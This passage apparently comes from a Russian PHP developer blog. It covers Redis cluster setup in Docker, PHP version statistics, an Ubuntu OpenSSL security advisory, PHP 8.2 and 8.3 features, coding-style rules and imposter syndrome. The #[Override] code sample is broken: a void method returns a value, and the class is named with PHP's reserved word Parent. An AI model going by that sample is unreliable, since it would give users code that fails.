Этот кластер состоит из 3 сегментов. В каждом сегменте есть главный узел, отвечающий за все операции записи, а также узел-реплика, содержащий копию данных. Шард кластера Redis может иметь до 500 реплик. Узел-реплика может стать главным узлом, если текущий главный узел становится недоступным.

Теперь обратите внимание, что внутри наших redis папок у нас также есть файлы с именем redis.conf. Позже этот файл будет скопирован в каждый контейнер Redis, чтобы они могли указать экземпляру Redis работать как часть кластера. Давайте посмотрим на его содержимое:

port 6381
cluster-enabled yes
cluster-config-file nodes.conf
cluster-node-timeout 3000
appendonly yes

tcp-keepalive 0

#save 900 1
#save 300 10
#save 60 10000

tcp-backlog 65536

Там не так уж и много чего происходит. Важен параметр cluster-enabled yes, что позволяет нашему экземпляру Redis действовать как часть кластера.

Теперь, когда мы узнали все детали файла, давайте попробуем запустить все это. Перейдите в свой терминал и выполните:

docker-compose up -d

Ну и в принципе все. Если все прошло удачно, как на гифке в начале поста, то вы уже можете приступать к использованию кластера редис в своем приложении.

Чтобы подключиться к Redis из вашего приложения, вам понадобится библиотека, которая может сделать это за вас. Для каждого языка есть своя реализация подключения к кластеру, т.к. мы используем predis то вот пример для PHP:

$client = new \Predis\Client(
    [["host" => "127.0.0.1", "port" => 6381],
    ["host" => "127.0.0.1", "port" => 6382],
    ["host" => "127.0.0.1", "port" => 6383],
    ["host" => "127.0.0.1","port" => 6384],
    ["host" => "127.0.0.1", "port" => 6385],
    ["host" => "127.0.0.1", "port" => 6386]],
    ['cluster' => 'redis']
);

Для Golang:

import "github.com/redis/go-redis/v9"

rdb := redis.NewClusterClient(&redis.ClusterOptions{
    Addrs: []string{":6381", ":6382", ":6383", ":6384", ":6385", ":6386"},

    // To route commands by latency or randomly, enable one of the following.
    //RouteByLatency: true,
    //RouteRandomly: true,
})

 
Python:

>>> from rediscluster import RedisCluster

>>> # Requires at least one node for cluster discovery. Multiple nodes is recommended.
>>> startup_nodes = [{"host": "127.0.0.1", "port": "6381"}, {"host": "127.0.0.1", "port": "6382"}] # ... and etc.
>>> rc = RedisCluster(startup_nodes=startup_nodes, decode_responses=True)

>>> rc.set("foo", "bar")
True
>>> print(rc.get("foo"))
'bar'

Ну вот в принципе и все, есть пару условий, которые нужно учитывать для работы с редисом в кластере, например вы не можете использовать такие функции как keys и подобные, но и в продакшне не рекомендуется, конечно, это делать. Тот же scan будет куда предпочтительнее.   

Кстати если вы посмотрите данные редиса, то можете заметить, что некоторые ключи хранятся в одном главном узле, а другие ключи хранятся в других узлах. Это распределение данных, выполняемое Redis, которое обеспечивает балансировку нагрузки в кластере.

Я надеюсь, что эта установка Docker поможет вам в рабочем процессе разработки так же, как это недавно помогло мне и моей команде. Если у вас есть какие-либо вопросы, пишите в комментариях, т.к. тема достаточно сложная и всегда можно дополнить ее деталями. 

Второй отчет в 2023 году об используемых версий PHP

Итак, приступим ко второй части статистики использования версий PHP в сообществе. Первую часть за 2023 год можно найти здесь, плюс дополнительно я также включу в этот пост и предыдущие данные за 2022 год.

Напоминаю, что я работаю только с доступными всем данными. Это означает, что эти диаграммы не являются 100% точным представлением сообщества PHP в целом, но они являются точным представлением одной из самых важных частей PHP: экосистемы Packagist.

Статистика использования

Давайте начнем с процента версий PHP, используемых сегодня, и сравним его с предыдущими тремя версиями, обратите внимание, что я пропустил все версии, которые не используются более чем на 1%:

Визуализация этих данных выглядит так:

Важно знать, какие версии PHP в настоящее время все еще поддерживаются: PHP 8.2 и PHP 8.1 получают обновления. PHP 8.0 все еще получает обновления безопасности до конца ноября этого года. Это означает, что PHP 7.4 и более ранние версии больше не получают никаких обновлений и должны считаться устаревшими.

В общей сложности это около 30% загрузок Packagist устаревших и небезопасных версии PHP. В начале этого года этот показатель был близок к 40%, то есть мы наблюдаем неуклонный спад — это хорошо!

Переходя к обзорной диаграмме за все время, здесь вы можете увидеть эволюцию использования версий с течением времени:

Кажется, что PHP 8.1 продемонстрировал самый большой рост по сравнению с PHP 7.4 и PHP 5.5. Для сравнения, PHP 8.2 стартовал медленнее. Также интересно отметить относительно высокий процент PHP 8.1 два года подряд. Конечно, PHP 8.1 был довольно интересным  выпуском с такими функциями, как перечисления и свойства только для чтения. Будет интересно посмотреть, как изменится этот график в следующем году, когда PHP 8.1 перейдет в режим только исправлений безопасности.

Требуемые версии

Далее если использовать анализатор популярных пакетов от Никиты, чтобы загрузить 1000 самых популярных пакетов Composer и просканировать эти пакеты, чтобы определить их минимальную требуемую версию, то получаться результаты:

Здесь необходимо сделать два важных замечания.

• В этой таблице указана минимальная требуемая версия. Это означает, что пакеты с минимальной версией, например, 8.0, также могут поддерживать PHP 8.1 или PHP 8.2.
• Если вы посчитаете числа, вы заметите, что между каждым годом есть некоторые различия. Не в каждом пакете указана допустимая строка версии.

Вместо того, чтобы сравнивать абсолютные числа, лучше нанести эти данные на диаграмму для относительного сравнения, чтобы мы могли видеть изменения с течением времени:

Кажется, что в минимальных версиях PHP 8.0 и PHP 8.1 произошел довольно большой скачок - это хорошо. В конце концов, сообщество открытого исходного кода играет большую роль в продвижении сообщества вперед, увеличивая минимальную требуемую версию.

Мэтт Касвелл обнаружил, что OpenSSL можеть неправильно обрабатывать определенные идентификаторы объектов ASN.1.

Уязвимость заключается в том, что злоумышленник может использовать эту проблему, чтобы удаленно заставить OpenSSL потреблять сильно ресурсы, что приведет систему к отказу в обслуживании. (CVE-2023-2650)

Антон Романов обнаружил, что OpenSSL неправильно обрабатывает расшифровку шифра AES-XTS на 64-битных платформах ARM. Эта проблема затрагивает 18.04 LTS, 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 22.10 и Ubuntu 23.04. (CVE-2023-1255)

Ваша система предупредит вас при подключении:

#
# An OpenSSL vulnerability has recently been fixed with USN-6188-1 & 6119-1:
# CVE-2023-2650: possible DoS translating ASN.1 object identifiers.
# Ensure you have updated the package to its latest version.
#

Инструкции по обновлению: запустите, чтобы устранить уязвимость:

sudo pro fix USN-6119-1

Результатом будет вывод:

Проблему можно решить, обновив систему до следующих версий пакетов:

Ubuntu 23.04:

   libssl3                         3.0.8-1ubuntu1.2

Ubuntu 22.10:

   libssl3                         3.0.5-2ubuntu2.3

Ubuntu 22.04 LTS:

   libssl3                         3.0.2-0ubuntu1.10

Ubuntu 20.04 LTS:

   libssl1.1                       1.1.1f-1ubuntu2.19

Ubuntu 18.04 LTS:

   libssl1.0.0                     1.0.2n-1ubuntu5.13

   libssl1.1                       1.1.1-1ubuntu2.1~18.04.23

CVE, содержащиеся в этом USN, включают: CVE-2023-1255, CVE-2023-2650.

В PHP 8.3 появился новый атрибут #[Override]. Он уже известен в других языках, но позвольте мне рассказать, для чего он нужен, если вы не знаете.

Пометка метода атрибутом #[Override] означает, что вы знаете, что этот метод переопределяет родительский метод. Вот в принципе и единственно все, что он делает, это показывает ваше намерение.

abstract class Parent
{
    public function methodWithDefaultImplementation(): int
    {
        return 1;
    }
}

final class Child extends Parent
{
    #[Override]
    public function methodWithDefaultImplementation(): void
    {
        return 2; // The overridden method
    }
} 

Теперь когда в какой-то момент родительский метод меняет имя своего метода:

abstract class Parent
{
    public function methodWithNewImplementation(): int
    {
        return 1;
    }
}

До атрибута не было способа узнать, что он больше не переопределяет переименованный метод Child::methodWithDefaultImplementation(), что могло привести к непредвиденным ошибкам.

Однако благодаря этому атрибуту PHP теперь знает, что что-то не так. По сути, он говорит: "Я знаю, что этот метод должен переопределять родительский метод. Если это когда-либо изменится, сообщите мне об этом".

Насколько это полезно?

Что, конечно больше всего, огорчает в этом RFC, так это то, насколько неуместным он может быть. Мы снова добавляем проверки во время выполнения, что может быть определено статическими анализаторами.

В телеграм чате PHP уже обсудили, что RFC практически бесполезен, да и в том же списке рассылки Extrernal многие люди пытались привести тот же аргумент об этом RFC, но безрезультатно. Я не буду повторять каждый аргумент, который приводился против, поэтому просто сошлюсь на предыдущие мысли по этой теме и резюмирую: "Юра, прости, мы все ... упустили". Внутренние компоненты PHP должны поставляться либо с официальной спецификацией для статических анализаторов, либо с собственным статическим анализатором. Почему? Потому что было бы возможно гораздо больше, и это бы значительно продвинуло PHP вперед.

Я не возражаю против этой функции, хотя сам, вероятно, никогда не буду ее использовать (я использую IDE, которая предотвращает подобные ошибки, мне не нужна среда выполнения PHP, чтобы перепроверить ее для меня). Что меня огорчает, так это то, как сообщество PHP разделено между лагерями статического и не статического анализа, и я не знаю, найдется ли когда-нибудь кто-то, кто сможет унифицировать и направить язык в нужное русло.

Эта спецификация расширяет и заменяет PSR-12 и требует соблюдения базового стандарта кодирования PSR-1.

Кстати, на днях, вышла новая версия код стайла для PHP, в которой были исправлены проблемы предыдущей версии, а так же были обновлены правила для нового синтаксиса PHP, такие, как например:

• добавлен раздел с описанием nowdoc и heredoc

function notAllowed()
{
    $notAllowed = <<<'COUNTEREXAMPLE'
This
is
not
allowed.
COUNTEREXAMPLE
}
//
function allowed()
{
    $allowedHeredoc = <<<COMPLIANT
        This
        is
        a
        compliant
        heredoc
        COMPLIANT;

    $allowedNowdoc = <<<'COMPLIANT'
        This
        is
        a
        compliant
        nowdoc
        COMPLIANT;
        
    var_dump(
        'foo',
        <<<'COMPLIANT'
            This
            is
            a
            compliant
            parameter
            COMPLIANT,
         'bar',
    );

• добавлен раздел о коротких замыканиях

$func = fn(int $x, int $y): int => $x + $y;

$func = fn(int $x, int $y): int
    => $x + $y;

$func = fn(
    int $x,
    int $y,
): int
    => $x + $y;

$result = $collection->reduce(fn(int $x, int $y): int => $x + $y, 0);

• добавлены правила о конечных запятых

function beep(string $a, string $b, string $c)
{
    // ...
}

function beep(
    string $a,
    string $b,
    string $c,
) {
    // ...
}

$arr = ['a' => 'A', 'b' => 'B', 'c' => 'C'];

$arr = [
    'a' => 'A',
    'b' => 'B',
    'c' => 'C',
];

$result = match ($a) {
    'foo' => 'Foo',
    'bar' => 'Bar',
    default => 'Baz',
};

• обновлен раздел ключевых слова-модификаторов abstract/final

<?php

namespace Vendor\Package;

abstract class ClassName
{
    protected static readonly string $foo;

    final protected int $beep;

    abstract protected function zim();

    final public static function bar()
    {
        // method body
    }
}

readonly class ValueObject
{
    // ...
}

• перефразировали «MUST… no» на «MUST NOT… any»
• добавлен раздел о перечислениях

enum Suit: string
{
    case Hearts = 'H';
    case Diamonds = 'D';
    case Spades = 'S';
    case Clubs = 'C';

    const Wild = self::Spades;
}

• добавлена спецификация стиля цепочки методов
• добавлено руководство по стилю атрибутов 

#[Foo]
#[Bar('baz')]
class Demo
{
    #[Beep]
    private Foo $foo;

    public function __construct(
        #[Load(context: 'foo', bar: true)]
        private readonly FooService $fooService,

        #[LoadProxy(context: 'bar')]
        private readonly BarService $barService,
    ) {}

    /**
     * Sets the foo.
     */
    #[Poink('narf'), Narf('poink')]
    public function setFoo(#[Beep] Foo $new): void
    {
      // ...
    }

    #[Complex(
        prop: 'val',
        other: 5,
    )]
    #[Other, Stuff]
    #[Here]
    public function complicated(
        string $a,

        #[Decl]
        string $b,

        #[Complex(
            prop: 'val',
            other: 5,
        )]
        string $c,

        int $d,
    ): string {
        // ...
    }
}

• описание именованных аргументов

somefunction($a, b: $b, c: 'c');

• уточнение правил пустых операторов

Почитать можно на https://github.com/php-fig/per-coding-style/blob/master/spec.md

4 апреля отмечается неофициальный профессиональный праздник - День веб-мастера.

Сегодня в день веб-разработчика хочу поздравить всех с праздником! *Здесь шутка про фонтаны и разбитые о голову клавиатуры*.

Чем примечателен этот праздник?

А тем, что настоящие программисты не считают веб-разработчиков настоящими программистами) Вопрос в другом, считаете ли вы себя настоящим программистом или просто разработчиком веб-приложений (вопрос риторический :) ) и я просто подвожу всех к теме сегодняшнего поста - Синдром самозванца (Imposter Syndrome), бывалые разработчики/программисты уже прошли через "вот это все" и пост скорее поможет начинающим программистам пройти данный путь безболезненно, ну или хотя бы с меньшими тратами для своего психического здоровья)

Итак, погнали, Синдром самозванца - это внутренний психологический опыт ощущения себя фальшивым в какой-то области своей жизни, несмотря на все успехи, которых вы достигли в этой области. У вас может быть синдром самозванца, если вы обнаружите, что постоянно испытываете неуверенность в себе, даже в тех областях, где вы обычно преуспеваете. Синдром самозванца может ощущаться как беспокойство и нервозность и может проявляться в виде негативного внутреннего диалога. Симптомы тревоги и депрессии часто сопровождают синдром самозванца.

Среди разработчиков/айтишников/программистов данный синдром достаточно распространенное явление. По некоторым источникам, которые мне попадались, себя недооценивают более 60% активных людей. 

Типы синдрома самозванца

Синдром самозванца можно разделить на пять (иногда в других областях выделяют и больше типов) основных типов:

• Перфекционист - Этот тип синдрома самозванца включает в себя веру в то, что, если бы вы не были абсолютно совершенны, вы могли бы добиться большего. Вы чувствуете себя самозванцем, потому что ваши перфекционистские черты заставляют вас думать, что вы не так хороши, как думают другие.
• Эксперт - Эксперт чувствует себя самозванцем, потому что он не знает всего, что нужно знать о конкретном предмете или теме, или он не освоил каждый шаг в процессе. Поскольку им есть чему поучиться, они не чувствуют, что достигли звания "эксперта".
• Природный гений - При этом типе синдрома самозванца вы можете чувствовать себя "мошенником" просто потому, что не верите, что вы от природы умны или компетентны. Если у вас что-то не получается с первого раза или вам требуется больше времени, чтобы овладеть навыком, вы чувствуете себя самозванцем.
• Солист - Также можно почувствовать себя самозванцем, если вам пришлось просить о помощи, чтобы достичь определенного уровня или статуса. Поскольку вы не можете добраться туда самостоятельно, вы ставите под сомнение свою компетентность или способности.
• Суперчеловек - Этот тип синдрома самозванца включает в себя убеждение, что вы должны быть самым трудолюбивым или достичь самых высоких уровней достижений, а если вы этого не сделаете, вы "мошенник".

Характеристики синдрома самозванца

Некоторые общие характеристики синдрома самозванца включают в себя:

• Неспособность реально оценить свою компетентность и навыки
• Приписывание успеха внешним факторам
• Недовольство своим выступлением
• Страх, что вы не оправдаете ожиданий
• Сверхдостижение 
• Саботирование собственного успеха
• Неуверенность в себе
• Постановка очень сложных целей и чувство разочарования, когда вы их не достигаете

Влияние синдрома самозванца

У некоторых людей синдром самозванца может подпитывать мотивацию к достижению, но обычно это происходит за счет постоянного беспокойства. Вы можете чрезмерно готовиться или работать намного усерднее, чем это необходимо, например, чтобы "убедиться", что никто не узнает, что вы "мошенник". В конце концов тревога усугубляется и может привести к депрессии.

Это создает порочный круг, в котором вы думаете, что единственная причина, по которой вы сегодня "выжили", заключалась в том, что вы не спали всю ночь. Проблема с синдромом самозванца заключается в том, что опыт преуспевания в чем-то не меняет ваших убеждений. В голове до сих пор крутится мысль: "Что дает мне право быть здесь?" Чем больше вы достигаете, тем больше вы просто чувствуете себя "мошенником". Как будто вы не можете усвоить свой опыт успеха.

Это имеет смысл с точки зрения социальной тревожности, если вы получили раннюю обратную связь о том, что вы не были хороши в социальных ситуациях или ситуациях, связанных с производительностью. Ваши основные убеждения о себе настолько сильны, что не меняются, даже когда есть доказательства обратного. Мыслительный процесс заключается в том, что если у вас все хорошо, это должно быть результатом удачи.

Люди, страдающие синдромом самозванца, как правило, не говорят ни с кем о своих чувствах и борются молча, как и люди с социальным тревожным расстройством.

Признаки синдрома самозванца

Что интересно первоначально считалось, что понятие синдрома самозванца применимо в основном к успешным женщинам. С тех пор он был признан более широко распространенным явлением. Синдром самозванца может затронуть любого - независимо от его социального статуса, опыта работы, уровня навыков или степени знаний.

Хотя синдром самозванца не является признанным расстройством психического здоровья, он довольно распространен. Если вам интересно, может ли у вас быть синдром самозванца, задайте себе следующие вопросы:

• Вы мучаетесь даже из-за самых мелких ошибок или недостатков в своей работе?
• Вы приписываете свой успех удаче или внешним факторам?
• Вы чувствительны даже к конструктивной критике?
• Вы чувствуете, что вас неизбежно разоблачат как "мошенника"?
• Вы преуменьшаете свой собственный опыт даже в тех областях, где вы действительно более опытны, чем другие?

Как справиться с синдромом самозванца

Чтобы избавиться от синдрома самозванца, полезно начать задавать себе несколько трудных вопросов. Вот некоторые из них:

• Какие основные убеждения я придерживаюсь о себе?
• Верю ли я, что достоин быть таким какой я есть?
• Должен ли я быть совершеннее, чтобы другие одобряли меня?

Чтобы избавиться от этих чувств, вам нужно смириться с некоторыми глубоко укоренившимися убеждениями о себе. Это упражнение может быть трудным, потому что вы можете даже не осознавать, что держите их, но вот несколько приемов, которые вы можете использовать:

• Поделитесь своими чувствами. Говорите с другими людьми о том, что вы чувствуете. Иррациональные убеждения, как правило, тлеют, когда их прячут и о них не говорят.
• Сосредоточьтесь на других. Хотя это может показаться нелогичным, попробуйте помочь другим в той же ситуации, что и вы. Если вы видите кого-то, кто кажется неуклюжим или одиноким, задайте ему вопрос, чтобы привлечь его к группе. Практикуя свои навыки, вы обретете уверенность в своих силах.
• Оцените свои способности. Если у вас есть давние убеждения о своей некомпетентности в социальных ситуациях и ситуациях, связанных с производительностью, реалистично оцените свои способности. Запишите свои достижения и то, в чем вы хороши, а затем сравните их со своей самооценкой.
• Делайте "детские" шаги. Не сосредотачивайтесь на том, чтобы делать что-то идеально, ведь все ошибаются, и нужно дать себе право на ошибку, делайте все достаточно хорошо и вознаграждайте себя за действия.
• Сомневайтесь в своих мыслях. Когда вы начнете оценивать свои способности и делать первые шаги, спросите себя, рациональны ли ваши мысли. Есть ли смысл полагать, что вы "мошенник", учитывая все, что вы знаете?
• Перестаньте сравнивать. Каждый раз, когда вы сравниваете себя с другими, вы находите в себе какую-то ошибку, которая подпитывает чувство неполноценности.
• Используйте социальные сети умеренно. Мы знаем, что чрезмерное использование социальных сетей может быть связано с чувством неполноценности. Если вы попытаетесь изобразить в социальных сетях образ, который не соответствует тому, кто вы есть на самом деле, или которого невозможно достичь, это только усугубит ваше ощущение "мошенника".
• Не позволяйте ничему удерживать вас. Неважно, насколько вы чувствуете себя "мошенником" или "обманщиком", не позволяйте этому мешать вам добиваться своих целей. Продолжайте идти и не дайте себя остановить.

В заключении

Помните, что если вы чувствуете себя самозванцем, это означает, что вы добились определенного успеха в своей области, который вы приписываете удаче. Вместо этого попытайтесь превратить это чувство в чувство благодарности. Посмотрите на то, чего вы достигли в своей жизни, и будьте благодарны за свои достижения.

P.S. И да, кстати где-то примерно в этих числах 5 лет назад был запущен этот сайт, так что сегодня можно отметить еще и 5-тивщину блога 🎂

Ежегодный пост о том, стоит ли изучать PHP в новом 2023 году.

Появившись в середине 90-х как скромный личный проект, PHP превратился в один из самых популярных языков для веб-разработки, на котором пишут от сайтов блогов до корпоративных приложений.

Это язык, который претерпел поразительную трансформацию в течении почти трех десятилетий. Даже за последние 10 лет PHP изменился так, как мы и представить себе не могли.

Каждый год выходит этот пост с некоторым взглядом назад и вперед. Итак приступим!

Фонд PHP   

Начнем пожалуй с PHP Foundation, прошло чуть более года с момента создания фонда, на текущий момент коллектив состоит из 10 волонтеров и 6 разработчиков, которым платят за работу над языком PHP.

В прошлом году Никита Попов ушел в отставку и все были немного обеспокоены этим событием, т.к. он проделал огромную работу над PHP 8.x версии. Ставки были что 2022 год не будет каким-то умопомрачительным для PHP, а скорее просто работой над повышением стабильности. Что ни есть плохо на самом деле.

И можно сказать, что Фонд справился, недавно они опубликовали свой отчет за 2022 год и он показывает довольно впечатляющие цифры:

• всего в 2022 году было собрано $580 000
• фонд платит 6 разработчикам за работу над PHP
• участники фонда сделали почти половину всех коммитов в php-src
• они создали 8 новых RFC и только 1 из них был не реализован

Можно твердо делать выводы, что PHP Foundation - одно из лучших событий, произошедших с PHP за долгое время, и можно надеяться что в 2023 году они смогут улучшить язык еще больше. Если вы крупная коммерческая компания, использующая PHP в своей работе могу предложить вам подумать о пожертвовании в фонд.

PHP 8.2

Далее перейдем к последней версии языка на сегодняшний момент - PHP 8.2. Хоть он и является наименее запоминающимся релизом, но тем не менее имеет множество приятных функций, напомню про пару интересных штук:

Классы только для чтения: 

readonly class ItemData
{
    public function __construct(
        public string $title,
        public string $author,
        public string $body,
        public DateTimeImmutable $createdAt,
        public PostState $state,
    ) {}
}

Совершенно новый рандомизатор:

$rng = $isProduction
    ? new Random\Engine\Secure()
    : new Random\Engine\Mt19937(1234);
 
$randomizer = new Random\Randomizer($rng);

$randomizer->shuffleString('foobar');

Самостоятельные типы null, true и false:

function false(): false
{
    return false;
}

Типы дизъюнктивных нормальных форм: 

function generateSlug((HasTitle&HasId)|null $post) 
{ /* … */ }

Отредактированные параметры:

function connect(
    string $user,
    #[\SensitiveParameter] string $password
) {
    // …
}

и др., более подробно можно почитать в посте про PHP 8.2. 

Экосистема

Стоит упомянуть что менеджер пакетов  PHP - Packagist сейчас содержит 361 000 пакетов, что на 60 000 больше, чем в прошлом году:

В прошлом году общее количество установок пакетов преодолело отметку в более чем 50 миллиардов установок, но на текущий момент их более 74 миллиардов! То есть за год было сделано более 24 миллиардов установок, по 2 миллиарда в месяц! Это впечатляющие цифры! Все этого говорит о том, что экосистема PHP сильно растет.

Статистика версий

Дважды в год я публикую свой пост со статистикой версий. В этих постах я анализирую использование версии PHP в сообществе на основе данных Packagist. Я хотел бы снова поделиться графиком из этого поста: временная шкала между 2013 годом и настоящим, показывающая историю использования каждой версии

Можно увидеть, что несмотря на то, что использование PHP 8.* стремительно растет, большое количество людей по-прежнему используют более старые, медленные и небезопасные версии PHP . Я надеюсь, что в 2023 году число старых версий будет снижаться еще быстрее.

Так же говоря об апгрейдах, хочу особо отметить один инструмент: Rector. Rector — это бесплатный инструмент автоматизации, который помогает обновить кодовую базу PHP. Все, что от вас требуется - это небольшая настройка, и Rector сделает за вас огромный объем работы.

Я твердо верю, что "язык программирования" - это гораздо больше, чем компилятор: именно инструменты и экосистема играют равную роль в определении этого "языка программирования" и помогают ему развиваться, и я действительно думаю, что многие люди, проекты и компании выиграют, если они изучат использование инструментов автоматизации, таких как Rector.

Фреймворки

Поскольку мы заговорили об экосистеме, нельзя не упомянуть два крупнейших PHP-фреймворка на сегодняшний день: Laravel и Symfony. Хоть ваш покорный слуга любит и использует в большинстве своих проектов более специфический фреймворк Phalcon, я не могу не отдать должное тому как за последние годы значительно вырос Laravel. 

Над фреймворком и его экосистемой работают 8 штатных разработчиков. Кроме того опрос среди разработчиков JetBrains сообщает, что 67% PHP-разработчиков работают с Laravel.

Хотя Symfony как фреймворк может быть менее популярным в наши дни по сравнению с Laravel, он по-прежнему остается одним из самых зрелых и стабильных фреймворков в сообществе PHP. Он чаще используется для разработки корпоративных приложений, но его отдельные компоненты популярны во всей экосистеме PHP - у Laravel также есть несколько зависимостей от компонентов Symfony. Неудивительно, что несколько пакетов Symfony попали в список лучших пакетов Packagist.

И как уже упомянул выше мой любимый фреймворк Phalcon так же не отстает в развитии, недавно была выпущена поддержка PHP 8.2, плюс в релиз вышел пакет мост для соединения фреймворка и высокопроизводительного сервера Swoole.

Фреймворк не так популярен как вышеназванные собратья, но является одним из самым производительным PHP-фреймворком на сегодняшний день, поскольку поставляется в виде Cи расширения PHP.

Так же не стоит забывать что выбор PHP-фреймворков достаточно богат, например по итогам статистики phpcommunity.ru использование фреймворков в ru сообществе: 

CMS

Конечно же нельзя не сказать про популярные CMS, такие как WordPress, Joomla и пр. Буду честен у меня не такие теплые чувства к ним, да и ненависти какой-то нет, для своих задач они вполне нормальны для использования. Их легко установить и использовать. Но иногда отсутствие поддержки современных версий бросает тень на все PHP сообщество, на данный момент тот же WordPress поддерживает версии PHP 8 в бета режиме.  

Конечно, есть причины, по которым новые версии PHP должным образом не поддерживаются популярными CMS. Вам решать, хорошие они или нет. Мое личное мнение заключается в том, что решение придерживаться обратной совместимости, как это делает WordPress, в основном связано с бизнесом: большая часть WordPress является коммерческой частью, и большая часть их клиентской базы использует старые версии PHP. Это порочный круг, в котором обе стороны сдерживают друг друга и, соответственно, сдерживают PHP-сообщество в целом.

С другой стороны, мы должны признать тот факт, что не многие программные проекты могут оставаться такими же популярными и актуальными, как WordPress спустя почти 20 лет, так что, может быть, их стратегия обратной совместимости является правильной?)

Поддержка транспиляции

Ну и напоследок можно пофантазировать о будущем развитии языка, например, многие функции, такие как дженерики, не могут быть реализованы в PHP, пока он поддерживает runtime-проверки типов, есть предложения сделать некое надмножество PHP с поддержкой IDE и статического анализатора. То есть этакой аналог Typescript. Вы могли слышать об этом, например тот же PXP, который может пойти в интересном для разработчиков направлении.

Давайте поговорим о такой интересной функции как array_merge_recursive и пообсуждаем что же она делает

Если поднять вопрос об интересных и не совсем сходу понятных функциях, то я бы назвал array_merge_recursive. 

На первый взгляд кажется что функция соединяет вроде бы как многомерные массивы, ведь для обычных уже есть  array_merge или оператор + или оператор spread(...).

Но если вы хотите все же соединить два многомерных массива в PHP, вы все равно должны использовать array_merge, а не array_merge_recursive. Почему? 

Давайте сначала поймем, что array_merge_recursive делает, например, возьмем эти два массива:

$first = [
    'key' => 'какое-то значение'
];

$second = [
    'key' => 'другое значение'
];

array_merge_recursive($first, $second);

// [
//     'key' => [
//         'какое-то значение',
//         'другое значение',
//     ],
// ]

Вместо того, чтобы переопределить исходное значение под ключом key как это бы сделал array_merge и (...) или пропустил бы (+)  - array_merge_recursive создал массив с исходным и новым значением в нем.  

Хотя в этом простом примере это выглядит странно, на самом деле это более полезно в тех случаях, когда одно из значений уже является массивом, и вы хотите объединить другой элемент в этом массиве, а не переопределять его:

$first = [
    'key' => ['какое-то значение']
];

$second = [
    'key' => 'другое значение'
];

В этом случае array_merge_recursive возьмет значение из $second массива и добавляет его к значению в $first массиве, который сам уже был массивом:

array_merge_recursive($first, $second);

// [
//     'key' => [
//         'какое-то значение',
//         'другое значение',
//     ],
// ]

Самое важное, что ключ должен иметь одинаковые строковые ключи, если массивы имеют одинаковые числовые ключи, каждое последующее значение не заменит исходное значение, а будет добавлено в конец массива. Рассмотрим более сложный пример:

$first = [
    42,
    'color' => ['green', 'red', 'blue']
];

$second = [
    42,
    'color' => 'black'
];

$third = [
    42,
    'color' => [
        'black' => 1
    ]
];

$fourth = [
    'color' => [
        'black' => [2,3,4]
    ],
    42
];

array_merge_recursive($first, $second, $third, $fourth);

//Array
//(
//    [0] => 42
//    [color] => Array
//        (
//            [0] => green
//            [1] => red
//            [2] => blue
//            [3] => black
//            [black] => Array
//                (
//                    [0] => 1
//                    [1] => 2
//                    [2] => 3
//                    [3] => 4
//                )
//
//        )
//
//    [1] => 42
//    [2] => 42
//    [3] => 42
//)

Как можно заметить значения 42 просто добавляется в массив каждый раз, как встречается, ключ color объединил значения цветов, а black так же рекурсивно собрал все значения.

А какие функции в PHP вы бы назвали интересными?
cddolordff

А у вас бывает такое внутреннее жгучее желание чего-то нового?) Вот и я спустя почти 5 лет работы сайта решил поменять его дизайн

А так как хотелось чего-то кардинально другого, то и дизайн сменился с минимально-строго на более веселый.

Дополнительным плюсом данного редизайна стало "облегчение" js скриптов и css стилей, что дало больше "попугаев" в том же Google Page Speed Insights. 

Ладно буду честен до конца, обновление дизайна было обусловлено не только порывом души, но и практической стороной вопроса о том, как я планирую дальше развивать блог, публиковать статьи, пока это конечно в планах, но поделюсь ими с вами. 

Помимо статей хочу начать публиковать видео ролики, возможно подкасты (хотя конечно как большинство людей, не очень люблю свой голос) возможно еще какой-то вид преподнесения информации. Дальше будет видно.

Ну и конечно, чтобы было хоть какое-обновление моей "сапожницы" без сапог, у меня, наконец, дошли руки до создания функционала комментирования. Ниже статьи вы можете заметить что-то такое яркое и красиво для того, чтобы оставить свой комментарий, в частности можете начать с этой статьи и высказать свое мнение стоило ли менять дизайн или "Дуров верни стену обратно".

 И еще небольшое дополнение, по просьбе пользователей был создан канал в телеграме The Fly's PHP - Делаем из Мухи Слона! , так что, кто проводит время в данном мессенджере - Welcome to our Channel!

PHP 8.3 и более поздние версии получат поддержку получение констант класса и элементов Enum через переменную с названием константы

Итак, PHP 8.3 позволит написать вот такой код:

class Invoice {
    public const STATUS_COMPLETE = "complete";
}

$constName = 'STATUS_COMPLETE';

echo Invoice::{$constName}; //"complete"

До PHP 8.3 синтаксис доступа к константам класса ClassName::{$varName} был невозможен и приводил к синтаксической ошибке:

Parse error: syntax error, unexpected token ";", expecting "(" in ... on line ...

То же ограничение применялось и к Enum, где было невозможно получить динамически элемент Перечисления: 

enum MyEnum: int {
    case MyElement = 42;
}

$enumName = 'MyElement';

echo MyEnum::{$enumName}->value;

Parse error: syntax error, unexpected token "->", expecting "(" in ``` on line ```

Единственным способом динамического доступа к константам класса и элементам Enum до PHP 8.3 была функция constant():

echo \constant("MyClass::$constName");
echo \constant("MyEnum::$enumName")->value;

Теперь в PHP 8.3 код будет валиден и выполняться как ожидается.   

Выражение внутри {} не ограничивается только полным именем переменной. Допускается любое выражение, возвращающее строковое значение:

class MyClass {
    public const MY_CONST = 42;
}

$constPrefix = 'MY_';

echo MyClass::{$constPrefix . 'CONST'};

Неопределенная константа и поведение Enum

Нет никаких изменений в поведении при попытке доступа к неопределенной константе класса или элементу Enum. Оба они приводят к ошибке неопределенной  константы:

Fatal error: Uncaught Error: Undefined constant MyEnum::MyMembers in ...:...

Магическая константа ::class

Магическая константа ::class, которая возвращает полное имя класса Class/Enum, также разрешены с новым синтаксисом:

class Foo {}

$constant = 'class';
echo Foo::{$constant}; // "Foo"

Ошибки типа

Попытка получить константу класса или элемент Enum с выражением, возвращающим любой тип, кроме как string вызывает исключение TypeError:

class Foo {}

$constant = 16;
echo Foo::{$constant};

Fatal error: Uncaught TypeError: Cannot use value of type int as class constant name in ...:...

Влияние обратной совместимости

До версии PHP 8.3 синтаксис ClassName::{$constantName} был запрещен и приводил к синтаксическим ошибкам. Приложения PHP, использующие этот синтаксис, не будут работать в старых версиях PHP.

Итак первый отчет в этом году об используемых версий в PHP

Предыдущее издание можно прочитать здесь.

Как всегда, важно отметить, что я работаю с публично доступными всем данными. Это означает, что эти диаграммы не являются 100% точным представлением сообщества PHP в целом, но они являются точным представлением одной из самых важных частей PHP: экосистемы Packagist.

Статистика использования

